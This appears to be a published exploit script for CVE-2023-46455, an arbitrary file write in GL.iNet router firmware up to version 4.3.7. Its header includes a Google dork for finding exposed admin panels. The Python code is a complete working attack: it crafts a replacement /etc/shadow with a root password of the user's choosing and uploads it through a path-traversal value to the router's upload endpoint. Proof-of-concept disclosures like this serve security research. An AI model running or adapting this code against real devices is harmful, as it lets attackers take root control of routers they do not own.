|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62  |  #!/usr/bin/env python3 # Exploit Title: GL.iNet <= 4.3.7 Arbitrary File Write # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/release4/openwrt-ar300m-4.3.7-0913-1694589403.tar # Version: 4.3.7 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46455 import crypt import requests from sys import argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def craft_shadow_file(salted_password):  shadow_content= 'root:{}:19459:0:99999:7:::\n'.format(salted_password)  shadow_content += 'daemon:*:0:0:99999:7:::\n'  shadow_content += 'ftp:*:0:0:99999:7:::\n'  shadow_content += 'network:*:0:0:99999:7:::\n'  shadow_content += 'nobody:*:0:0:99999:7:::\n'  shadow_content += 'dnsmasq:x:0:0:99999:7:::\n'  shadow_content += 'stubby:x:0:0:99999:7:::\n'  shadow_content += 'ntp:x:0:0:99999:7::\n'  shadow_content += 'mosquitto:x:0:0:99999:7::\n'  shadow_content += 'logd:x:0:0:99999:7::\n'  shadow_content += 'ubus:x:0:0:99999:7::\n'  return shadow_content def replace_shadow_file(url, auth_token, shadow_content):  data = {  'sid': (None, auth_token),  'size': (None, '4'),  'path': (None, '/tmp/ovpn_upload/../../etc/shadow'),  'file': ('shadow', shadow_content)  }  requests.post(url, files=data, verify=False) def main(base_url, auth_token):  print('[+] Started GL.iNet <= 4.3.7 Arbitrary File Write exploit')  password = input('[?] New password for root user: ')  salted_password = crypt.crypt(password, salt=crypt.METHOD_MD5)  shadow_content = craft_shadow_file(salted_password)  print('[+] Crafted shadow file:\n{}'.format(shadow_content))  print('[*] Replacing shadow file with the crafted one')  replace_shadow_file(base_url+'/upload', auth_token, shadow_content)  print('[+] Done') if __name__ == '__main__':  if len(argv) < 3:  print('Usage: {} <TARGET_URL> <AUTH_TOKEN>'.format(argv[0]))  exit(1)  main(argv[1], argv[2])  |